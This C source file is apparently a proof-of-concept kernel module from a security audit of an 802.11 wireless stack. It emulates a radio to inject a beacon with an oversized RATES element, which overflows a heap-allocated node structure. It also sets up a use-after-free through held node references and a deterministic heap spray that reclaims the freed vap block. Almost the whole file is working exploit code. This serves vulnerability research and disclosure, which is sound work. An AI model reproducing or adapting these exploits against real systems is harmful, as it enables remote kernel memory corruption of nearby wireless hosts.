/*
 * fw3.c -- software "wifi radio" KLD for the DF-3314 PoC
 * (pass-2 audit of sys/netproto/802_11/wlan/ieee80211_node.c).
 *
 * Same harness pattern as findings/poc/DF-3282/fw.c and DF-3312/fw2.c.
 *
 * Attack being simulated (remote, unauthenticated, RF-adjacent):
 *   A station in IBSS (adhoc) mode receives a BEACON from an unknown
 *   peer.  ieee80211_add_neighbor() -> ieee80211_init_neighbor() ->
 *   ieee80211_setup_rates(ni, sp->rates, ...) copies
 *
 *       rs->rs_nrates = rates[1];                // attacker TLV len: 0..255
 *       memcpy(rs->rs_rates, rates + 2, rs->rs_nrates);
 *
 *   into struct ieee80211_rateset.rs_rates[IEEE80211_RATE_MAXSIZE=15]
 *   that lives INSIDE the heap-allocated struct ieee80211_node.
 *   A RATES IE with len>15 writes up to 240 bytes of fully controlled
 *   data past rs_rates, clobbering ni_chan (pointer), the mesh peer
 *   callouts ni_mltimer/ni_mlhtimer, HT state, etc.
 *
 *   ieee80211_parse_beacon() only validates that each IE *fits in the
 *   frame* (IEEE80211_VERIFY_LENGTH(efrm-frm, frm[1]+2)), never that
 *   frm[1] <= 15, and the only KASSERT is on the *scan* path
 *   (scan_sta.c:285) -- the add_neighbor path has no clamp at all.
 *   (This upgrades DF-0581, which classified the setup_rates sink as
 *   "latent/mitigated by callers", to directly remotely reachable.)
 *
 * Sysctls:
 *   kern.fw3_info=1   print the offsetof() map of struct ieee80211_node
 *   kern.fw3_fire=N   inject a beacon whose RATES IE has len=N
 *                     (N>15 => heap overflow; marker byte kern.fw3_mark)
 *   kern.fw3_mark=B   marker byte used for the rate payload (0x41/0x51/...)
 */
#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ifq_var.h>
#include <net/ethernet.h>

#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_proto.h>
#include <netproto/802_11/ieee80211_input.h>
#include <netproto/802_11/ieee80211_regdomain.h>
#include <netproto/802_11/ieee80211_ratectl.h>
#include <netproto/802_11/ieee80211_dragonfly.h>

struct fw3_softc {
	struct ieee80211com		sc_ic;
	int				fw3_running;
};

static int	fw3_fire = 0;
static int	fw3_mark = 0x41;

static struct ieee80211vap *
		fw3_vap_create(struct ieee80211com *, const char [IFNAMSIZ], int,
		    enum ieee80211_opmode, int, const uint8_t [IEEE80211_ADDR_LEN],
		    const uint8_t [IEEE80211_ADDR_LEN]);
static void	fw3_vap_delete(struct ieee80211vap *);
static void	fw3_parent(struct ieee80211com *);
static int	fw3_raw_xmit(struct ieee80211_node *, struct mbuf *,
		    const struct ieee80211_bpf_params *);
static int	fw3_transmit(struct ieee80211com *, struct mbuf *);
static void	fw3_nop_ic(struct ieee80211com *);
static int	fw3_wme_nop(struct ieee80211com *);

static struct fw3_softc *fw3_sc = NULL;

static const uint8_t fw3_attacker[IEEE80211_ADDR_LEN] =
    { 0x02, 0x00, 0xde, 0xad, 0xbe, 0xef };

/*
 * DF-3315 machinery: emulate a driver whose tx completions arrive after
 * the vap is destroyed.  raw_xmit() receives a ref'd node; instead of
 * completing immediately we stash the reference (the "frame completed
 * later, after vap detach" case of a real async radio).
 */
#define FW3_MAXHELD	64
static struct ieee80211_node *fw3_held[FW3_MAXHELD];
static int fw3_nheld;
static int fw3_hold = 1;

/* heap-reuse spray: deterministically reclaim the freed vap's block */
static void *fw3_vap_addr;		/* vap address before destroy */
#define FW3_MAXSPRAY	64
static void *fw3_spray[FW3_MAXSPRAY];
static int fw3_nspray;

static struct ieee80211vap *
fw3_vap_create(struct ieee80211com *ic, const char name[IFNAMSIZ], int unit,
    enum ieee80211_opmode opmode, int flags,
    const uint8_t bssid[IEEE80211_ADDR_LEN],
    const uint8_t mac[IEEE80211_ADDR_LEN])
{
	struct ieee80211vap *vap;
	int nvaps = 0;
	struct ieee80211vap *vp;

	TAILQ_FOREACH(vp, &ic->ic_vaps, iv_next)
		nvaps++;

	switch (opmode) {
	case IEEE80211_M_STA:
	case IEEE80211_M_IBSS:
	case IEEE80211_M_AHDEMO:
	case IEEE80211_M_HOSTAP:
	case IEEE80211_M_MONITOR:
		if (nvaps >= 4) {
			kprintf("fw3: max 4 vaps\n");
			return NULL;
		}
		break;
	default:
		kprintf("fw3: opmode %d not supported\n", opmode);
		return NULL;
	}
	vap = kmalloc(sizeof(struct ieee80211vap), M_80211_VAP,
	    M_WAITOK | M_ZERO);
	ieee80211_vap_setup(ic, vap, name, unit, opmode, flags, bssid);

	ieee80211_ratectl_init(vap);
	ieee80211_vap_attach(vap, ieee80211_media_change,
	    ieee80211_media_status, mac);
	return vap;
}

static void
fw3_vap_delete(struct ieee80211vap *vap)
{
	ieee80211_ratectl_deinit(vap);
	ieee80211_vap_detach(vap);
	kfree(vap, M_80211_VAP);
}

static void
fw3_parent(struct ieee80211com *ic)
{
	struct fw3_softc *sc = ic->ic_softc;
	int startall = 0;

	if (ic->ic_nrunning > 0) {
		if (!sc->fw3_running) {
			sc->fw3_running = 1;
			startall = 1;
		}
	} else
		sc->fw3_running = 0;
	if (startall)
		ieee80211_start_all(ic);
}

static int
fw3_raw_xmit(struct ieee80211_node *ni, struct mbuf *m,
    const struct ieee80211_bpf_params *params)
{
	/*
	 * Async-radio emulation: the "tx completion" (ref drop) happens
	 * later -- after the vap may already be destroyed.
	 */
	if (params != NULL)
		;
	m_freem(m);
	if (fw3_hold && fw3_nheld < FW3_MAXHELD) {
		fw3_held[fw3_nheld++] = ni;	/* keep the reference */
		kprintf("fw3: holding ni %p ref (held=%d)\n", ni, fw3_nheld);
	} else
		ieee80211_free_node(ni);
	return 0;
}

static int
fw3_transmit(struct ieee80211com *ic, struct mbuf *m)
{
	struct mbuf *n;

	while (m != NULL) {
		n = m->m_nextpkt;
		m->m_nextpkt = NULL;
		if (m->m_pkthdr.rcvif != NULL)
			ieee80211_tx_complete(
			    (struct ieee80211_node *)m->m_pkthdr.rcvif, m, 0);
		else
			m_freem(m);
		m = n;
	}
	return 0;
}

static void
fw3_nop_ic(struct ieee80211com *ic)
{
}

static int
fw3_wme_nop(struct ieee80211com *ic)
{
	return 0;
}

/*
 * kern.fw3_info=1 -- print the layout of struct ieee80211_node so the
 * corruption span of the rates-IE overflow is quantified from the
 * running kernel (compiled against the same headers).
 */
static int
fw3_info_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, v = fw3_fire;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;

	kprintf("fw3.info: sizeof(struct ieee80211_node) = %zu\n",
	    sizeof(struct ieee80211_node));
	kprintf("fw3.info: sizeof(struct ieee80211_rateset) = %zu "
	    "(rs_nrates 1 + rs_rates[%d])\n",
	    sizeof(struct ieee80211_rateset), IEEE80211_RATE_MAXSIZE);
	kprintf("fw3.info: offsetof ni_essid    = %zu\n",
	    offsetof(struct ieee80211_node, ni_essid));
	kprintf("fw3.info: offsetof ni_rates    = %zu  "
	    "(rs_rates = +1 => %zu)\n",
	    offsetof(struct ieee80211_node, ni_rates),
	    offsetof(struct ieee80211_node, ni_rates) + 1);
#define POFF(f)	offsetof(struct ieee80211_node, f)
	kprintf("fw3.info: offsetof ni_chan     = %zu  (+%zu past rs_rates[0])\n",
	    POFF(ni_chan), POFF(ni_chan) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_meshid   = %zu  (+%zu)\n",
	    POFF(ni_meshid), POFF(ni_meshid) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_mltimer  = %zu  (+%zu) callout\n",
	    POFF(ni_mltimer), POFF(ni_mltimer) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_mlhtimer = %zu  (+%zu) callout\n",
	    POFF(ni_mlhtimer), POFF(ni_mlhtimer) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_htcap    = %zu  (+%zu)\n",
	    POFF(ni_htcap), POFF(ni_htcap) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_htrates  = %zu  (+%zu)\n",
	    POFF(ni_htrates), POFF(ni_htrates) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_tx_ampdu = %zu  (+%zu)\n",
	    POFF(ni_tx_ampdu), POFF(ni_tx_ampdu) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_rx_ampdu = %zu  (+%zu)\n",
	    POFF(ni_rx_ampdu), POFF(ni_rx_ampdu) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_psq      = %zu  (+%zu)\n",
	    POFF(ni_psq), POFF(ni_psq) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: offsetof ni_wdsvap   = %zu  (+%zu)\n",
	    POFF(ni_wdsvap), POFF(ni_wdsvap) - (POFF(ni_rates) + 1));
	kprintf("fw3.info: overflow span with rates[1]=255: rs_rates[0]+255"
	    " = ni_rates+%zu\n", (size_t)(255 - 0) + 1);
	kprintf("fw3.info: => %zu controlled bytes land past rs_rates[15]\n",
	    (size_t)255 - IEEE80211_RATE_MAXSIZE);
#undef POFF
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw3_info, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw3_info_sysctl, "I",
    "fw3: print struct ieee80211_node layout");

/*
 * kern.fw3_fire=N -- inject one crafted beacon carrying a RATES IE of
 * length N into the IBSS vap, simulating an over-the-air attacker.
 */
static int
fw3_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct fw3_softc *sc = fw3_sc;
	struct ieee80211vap *vap, *ibss = NULL;
	struct ieee80211_node *ni;
	struct ieee80211_rx_stats rx;
	struct ieee80211_frame *wh;
	struct mbuf *m;
	uint8_t *frm;
	int error, ratelen, i;

	error = sysctl_handle_int(oidp, &fw3_fire, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	ratelen = fw3_fire;
	if (ratelen <= 0 || sc == NULL)
		return 0;

	TAILQ_FOREACH(vap, &sc->sc_ic.ic_vaps, iv_next) {
		if (vap->iv_opmode == IEEE80211_M_IBSS ||
		    vap->iv_opmode == IEEE80211_M_AHDEMO)
			ibss = vap;
	}
	if (ibss == NULL) {
		kprintf("fw3.fire: no adhoc vap; create one first\n");
		return ENXIO;
	}
	if (ibss->iv_state != IEEE80211_S_RUN) {
		kprintf("fw3.fire: vap %s not RUN (state %d)\n",
		    ibss->iv_ifp->if_xname, ibss->iv_state);
		return ENXIO;
	}
	ni = ibss->iv_bss;
	if (ni == NULL) {
		kprintf("fw3.fire: no bss node\n");
		return ENXIO;
	}

	kprintf("fw3.fire: injecting beacon on %s (state RUN, bssid %s)"
	    " with RATES IE len=%d mark=0x%02x\n",
	    ibss->iv_ifp->if_xname, ether_sprintf(ni->ni_bssid),
	    ratelen, fw3_mark);

	/* beacon: 24 hdr + 12 fixed + (2+4) ssid + (2+ratelen) rates */
	m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	frm = mtod(m, uint8_t *);
	wh = (struct ieee80211_frame *)frm;
	wh->i_fc[0] = IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT |
	    IEEE80211_FC0_SUBTYPE_BEACON;
	wh->i_fc[1] = IEEE80211_FC1_DIR_NODS;
	*(uint16_t *)wh->i_dur = 0;
	IEEE80211_ADDR_COPY(wh->i_addr1, ibss->iv_ifp->if_broadcastaddr);
	IEEE80211_ADDR_COPY(wh->i_addr2, fw3_attacker);
	IEEE80211_ADDR_COPY(wh->i_addr3, ni->ni_bssid);	/* same cell */
	*(uint16_t *)wh->i_seq = 0;
	frm += sizeof(*wh);
	memset(frm, 0, 8);			/* timestamp */
	frm += 8;
	frm[0] = 100; frm[1] = 0;		/* beacon interval (LE) */
	frm += 2;
	frm[0] = IEEE80211_CAPINFO_IBSS;	/* capability: IBSS (LE) */
	frm[1] = 0;
	frm += 2;
	*frm++ = 0;				/* SSID id */
	*frm++ = 4;				/* len 4 */
	memcpy(frm, "fw3p", 4);
	frm += 4;
	*frm++ = IEEE80211_ELEMID_RATES;
	*frm++ = (uint8_t)ratelen;
	for (i = 0; i < ratelen; i++)
		frm[i] = fw3_mark;
	frm += ratelen;
	m->m_len = m->m_pkthdr.len = frm - mtod(m, uint8_t *);

	memset(&rx, 0, sizeof(rx));
	rx.r_flags = IEEE80211_R_NF | IEEE80211_R_RSSI;
	rx.c_rssi = -40;
	rx.c_nf = -95;

	ibss->iv_debug = 0xffffffff;	/* show any DISCARD reason */
	wlan_serialize_enter();
	/* RX path exactly as a driver would deliver it (ref consumed by us;
	 * adhoc_input frees only the mbuf, cf. ieee80211_input_mimo_all) */
	ni = ieee80211_ref_node(ibss->iv_bss);
	ieee80211_input_mimo(ni, m, &rx);
	ieee80211_free_node(ni);
	wlan_serialize_exit();
	/* if we return, the overflow did not happen */
	kprintf("fw3.fire: returned from input -- no overflow?\n");
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw3_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw3_fire_sysctl, "I",
    "fw3 PoC: inject beacon with oversized RATES IE");

static int
fw3_mark_sysctl(SYSCTL_HANDLER_ARGS)
{
	return sysctl_handle_int(oidp, &fw3_mark, 0, req);
}
SYSCTL_PROC(_kern, OID_AUTO, fw3_mark, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw3_mark_sysctl, "I", "fw3: rate payload marker byte");

/*
 * Build+inject one management frame into the hostap vap, exactly as a
 * driver would deliver it over the air.  kind: 1=AUTH(open,seq1),
 * 2=ASSOC_REQ.
 */
static void
fw3_inject_mgmt(struct ieee80211vap *vap, int kind)
{
	struct ieee80211_rx_stats rx;
	struct ieee80211_node *ni, *ni2;
	struct ieee80211_frame *wh;
	struct mbuf *m;
	uint8_t *frm;
	int len;

	/*
	 * AUTH: the attacker is unknown; pass iv_bss like find_rxnode
	 * would for an unknown sender.  ASSOC: find the auth'd node.
	 */
	if (kind == 2) {
		ni = ieee80211_find_node(&vap->iv_ic->ic_sta, fw3_attacker);
		if (ni == NULL) {
			kprintf("fw3.assoc: attacker node not in table "
			    "(auth failed?)\n");
			return;
		}
	} else
		ni = ieee80211_ref_node(vap->iv_bss);

	/* frame: 24 hdr + body */
	m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	frm = mtod(m, uint8_t *);
	wh = (struct ieee80211_frame *)frm;
	wh->i_fc[1] = IEEE80211_FC1_DIR_NODS;
	*(uint16_t *)wh->i_dur = 0;
	IEEE80211_ADDR_COPY(wh->i_addr1, vap->iv_myaddr);
	IEEE80211_ADDR_COPY(wh->i_addr2, fw3_attacker);
	IEEE80211_ADDR_COPY(wh->i_addr3, vap->iv_bss->ni_bssid);
	*(uint16_t *)wh->i_seq = 0;
	frm += sizeof(*wh);
	if (kind == 1) {
		wh->i_fc[0] = IEEE80211_FC0_VERSION_0 |
		    IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
		/* algo=open(0), seq=1, status=0 */
		frm[0] = 0; frm[1] = 0;
		frm[2] = 1; frm[3] = 0;
		frm[4] = 0; frm[5] = 0;
		frm += 6;
	} else {
		wh->i_fc[0] = IEEE80211_FC0_VERSION_0 |
		    IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
		/* capinfo=ESS(0x0001), listen interval=10 */
		frm[0] = 0x01; frm[1] = 0x00;
		frm[2] = 10;    frm[3] = 0;
		frm += 4;
		/* SSID IE: copy the bss ssid so VERIFY_SSID passes */
		*frm++ = 0;
		*frm++ = vap->iv_bss->ni_esslen;
		memcpy(frm, vap->iv_bss->ni_essid, vap->iv_bss->ni_esslen);
		frm += vap->iv_bss->ni_esslen;
		/* RATES IE (<= 15, legit values: 1,2,5.5,11 Mb/s) */
		*frm++ = IEEE80211_ELEMID_RATES;
		*frm++ = 4;
		frm[0] = 0x02; frm[1] = 0x04; frm[2] = 0x0b; frm[3] = 0x16;
		frm += 4;
	}
	len = frm - mtod(m, uint8_t *);
	m->m_len = m->m_pkthdr.len = len;

	memset(&rx, 0, sizeof(rx));
	rx.r_flags = IEEE80211_R_NF | IEEE80211_R_RSSI;
	rx.c_rssi = -40;
	rx.c_nf = -95;

	kprintf("fw3.assoc: injecting %s frame (%d bytes) to %s\n",
	    kind == 1 ? "AUTH" : "ASSOC_REQ", len, vap->iv_ifp->if_xname);
	ieee80211_input_mimo(ni, m, &rx);
	ieee80211_free_node(ni);

	if (kind == 1) {
		/* report the newly created node */
		ni2 = ieee80211_find_node(&vap->iv_ic->ic_sta, fw3_attacker);
		if (ni2 != NULL) {
			kprintf("fw3.assoc: attacker node %p refcnt %u "
			    "flags 0x%x (AREF=0x%x)\n", ni2,
			    ieee80211_node_refcnt(ni2), ni2->ni_flags,
			    IEEE80211_NODE_AREF);
			ieee80211_free_node(ni2);
		} else
			kprintf("fw3.assoc: no attacker node after AUTH\n");
	} else {
		ni2 = ieee80211_find_node(&vap->iv_ic->ic_sta, fw3_attacker);
		if (ni2 != NULL) {
			kprintf("fw3.assoc: attacker node associd 0x%x "
			    "refcnt %u%s\n", ni2->ni_associd,
			    ieee80211_node_refcnt(ni2),
			    ni2->ni_associd != 0 ? "  <-- ASSOCIATED" : "");
			ieee80211_free_node(ni2);
		}
	}
}

static int
fw3_assoc_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct fw3_softc *sc = fw3_sc;
	struct ieee80211vap *vap, *ap = NULL;
	int error;

	error = sysctl_handle_int(oidp, &fw3_fire, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (fw3_fire == 0 || sc == NULL)
		return 0;

	TAILQ_FOREACH(vap, &sc->sc_ic.ic_vaps, iv_next) {
		if (vap->iv_opmode == IEEE80211_M_HOSTAP)
			ap = vap;
	}
	if (ap == NULL) {
		kprintf("fw3.assoc: no hostap vap\n");
		return ENXIO;
	}
	if (ap->iv_state != IEEE80211_S_RUN) {
		kprintf("fw3.assoc: vap %s not RUN\n", ap->iv_ifp->if_xname);
		return ENXIO;
	}
	wlan_serialize_enter();
	fw3_inject_mgmt(ap, 1);		/* AUTH */
	fw3_inject_mgmt(ap, 2);		/* ASSOC_REQ */
	wlan_serialize_exit();
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw3_assoc, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw3_assoc_sysctl, "I",
    "fw3 PoC: auth+assoc an attacker station on the hostap vap");

/*
 * Deterministically reclaim the freed vap's memory: keep allocating
 * sizeof(struct ieee80211vap) blocks until one lands exactly on the old
 * vap address (LIFO free lists make this quick), fill it with 0xb0, and
 * free the misses.  The stale ni->ni_vap deref then reads 0xb0.. with
 * certainty.
 */
static int
fw3_spray_sysctl(SYSCTL_HANDLER_ARGS)
{
	void *p;
	int error, kept = 0, tries = 0;

	error = sysctl_handle_int(oidp, &fw3_fire, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (fw3_vap_addr == NULL) {
		kprintf("fw3.spray: no vap address recorded "
		    "(run fw3_sta first)\n");
		return ENXIO;
	}
	while (tries++ < 256 && kept < 2) {
		p = kmalloc(sizeof(struct ieee80211vap),
		    M_80211_VAP, M_WAITOK | M_ZERO);
		if (p == fw3_vap_addr) {
			memset(p, 0xb0, sizeof(struct ieee80211vap));
			fw3_spray[fw3_nspray++] = p;
			kept++;
			kprintf("fw3.spray: reclaimed freed vap block %p "
			    "with 0xb0 (try %d)\n", p, tries);
		} else
			kfree(p, M_80211_VAP);
	}
	kprintf("fw3.spray: %d blocks held (%d exact reclaims of %p)\n",
	    fw3_nspray, kept, fw3_vap_addr);
	if (kept == 0)
		kprintf("fw3.spray: WARNING could not reclaim vap block; "
		    "UAF still occurs but may not fault visibly\n");
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw3_spray, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw3_spray_sysctl, "I",
    "fw3 PoC: spray the freed vap memory with 0xb0 markers");

/*
 * "Late tx completion": drop all the node references our fake radio
 * held.  If the vap is gone but a node still has ni_associd != 0,
 * _ieee80211_free_node() dereferences the freed vap.
 */
static int
fw3_release_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct ieee80211_node *ni;
	int error, i, n;

	error = sysctl_handle_int(oidp, &fw3_fire, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	n = fw3_nheld;
	fw3_nheld = 0;
	wlan_serialize_enter();
	for (i = 0; i < n; i++) {
		ni = fw3_held[i];
		kprintf("fw3.release: late tx-complete of ni %p "
		    "(associd 0x%x, ni_vap %p)\n", ni, ni->ni_associd,
		    ni->ni_vap);
		ieee80211_free_node(ni);	/* may be the last reference */
	}
	wlan_serialize_exit();
	kprintf("fw3.release: dropped %d held refs\n", n);
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw3_release, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw3_release_sysctl, "I",
    "fw3 PoC: complete held tx (drop node refs) after vap destroy");

/*
 * DF-3315 trigger, STA-mode variant: an associated station vap whose
 * bss node (ni_associd assigned at sta.c:1683) has a driver-held
 * reference in flight when the vap is destroyed.  We simulate the
 * "associated" state (in the wild this is simply a completed MLME
 * association) and hold one reference the way any in-flight frame
 * (M_ENCAP data or mgmt output through ic_raw_xmit) would.
 */
static int
fw3_sta_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct fw3_softc *sc = fw3_sc;
	struct ieee80211vap *vap, *sta = NULL;
	struct ieee80211_node *ni;
	int error;

	error = sysctl_handle_int(oidp, &fw3_fire, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (fw3_fire == 0 || sc == NULL)
		return 0;

	TAILQ_FOREACH(vap, &sc->sc_ic.ic_vaps, iv_next) {
		if (vap->iv_opmode == IEEE80211_M_STA)
			sta = vap;
	}
	if (sta == NULL) {
		kprintf("fw3.sta: no sta vap\n");
		return ENXIO;
	}
	ni = sta->iv_bss;
	if (ni == NULL) {
		kprintf("fw3.sta: no bss node\n");
		return ENXIO;
	}
	wlan_serialize_enter();
	/* associated state: AID assigned (cf. ieee80211_recv_assoc) */
	if (ni->ni_associd == 0)
		ni->ni_associd = 1 | 0xc000;
	fw3_vap_addr = sta;	/* remember for the deterministic spray */
	/* driver-held reference, as any in-flight tx would hold */
	if (fw3_nheld < FW3_MAXHELD) {
		fw3_held[fw3_nheld++] = ieee80211_ref_node(ni);
		kprintf("fw3.sta: %s bss node %p associd 0x%x, holding ref "
		    "(held=%d)\n", sta->iv_ifp->if_xname, ni, ni->ni_associd,
		    fw3_nheld);
	}
	wlan_serialize_exit();
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fw3_sta, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw3_sta_sysctl, "I",
    "fw3 PoC: STA vap bss node with associd + held driver ref");

static int
fw3_modevent(module_t mod, int type, void *data)
{
	struct fw3_softc *sc;
	struct ieee80211com *ic;
	uint8_t bands[IEEE80211_MODE_BYTES];

	switch (type) {
	case MOD_LOAD:
		sc = kmalloc(sizeof(struct fw3_softc), M_DEVBUF,
		    M_WAITOK | M_ZERO);
		ic = &sc->sc_ic;
		ic->ic_softc = sc;
		ic->ic_name = "fw3_0";
		ic->ic_opmode = IEEE80211_M_STA;
		ic->ic_phytype = IEEE80211_T_OFDM;
		ic->ic_caps =
			  IEEE80211_C_STA
			| IEEE80211_C_IBSS
			| IEEE80211_C_AHDEMO
			| IEEE80211_C_HOSTAP
			| IEEE80211_C_MONITOR
			| IEEE80211_C_SHPREAMBLE
			| IEEE80211_C_SHSLOT
			| IEEE80211_C_TXFRAG
			;
		ic->ic_txstream = 1;
		ic->ic_rxstream = 1;
		/* legacy 11b/g channel set is sufficient */
		memset(bands, 0, sizeof(bands));
		setbit(bands, IEEE80211_MODE_11B);
		setbit(bands, IEEE80211_MODE_11G);
		ieee80211_init_channels(ic, NULL, bands);

		ic->ic_macaddr[0] = 0x02; ic->ic_macaddr[1] = 0x00;
		ic->ic_macaddr[2] = 0x00; ic->ic_macaddr[3] = 0x00;
		ic->ic_macaddr[4] = 0x00; ic->ic_macaddr[5] = 0xf3;

		ic->ic_vap_create = fw3_vap_create;
		ic->ic_vap_delete = fw3_vap_delete;
		ic->ic_parent = fw3_parent;
		ic->ic_scan_start = fw3_nop_ic;
		ic->ic_scan_end = fw3_nop_ic;
		ic->ic_set_channel = fw3_nop_ic;
		ic->ic_updateslot = fw3_nop_ic;
		ic->ic_wme.wme_update = fw3_wme_nop;

		ieee80211_ifattach(ic);
		/* NB: after ifattach -- proto_attach() overwrites these */
		ic->ic_raw_xmit = fw3_raw_xmit;
		ic->ic_transmit = fw3_transmit;
		fw3_sc = sc;
		kprintf("fw3: fake legacy wifi radio attached (fw3_0, 11bg)\n");
		return 0;
	case MOD_UNLOAD:
		sc = fw3_sc;
		if (sc == NULL)
			return 0;
		if (!TAILQ_EMPTY(&sc->sc_ic.ic_vaps)) {
			kprintf("fw3: vap still active, refusing unload\n");
			return EBUSY;
		}
		for (int i = 0; i < fw3_nspray; i++) {
			kfree(fw3_spray[i], M_80211_VAP);
			fw3_spray[i] = NULL;
		}
		fw3_nspray = 0;
		ieee80211_ifdetach(&sc->sc_ic);
		kfree(sc, M_DEVBUF);
		fw3_sc = NULL;
		kprintf("fw3: detached\n");
		return 0;
	}
	return 0;
}

static moduledata_t fw3_mod = { "fw3", fw3_modevent, 0 };
DECLARE_MODULE(fw3, fw3_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(fw3, wlan, 1, 1, 1);
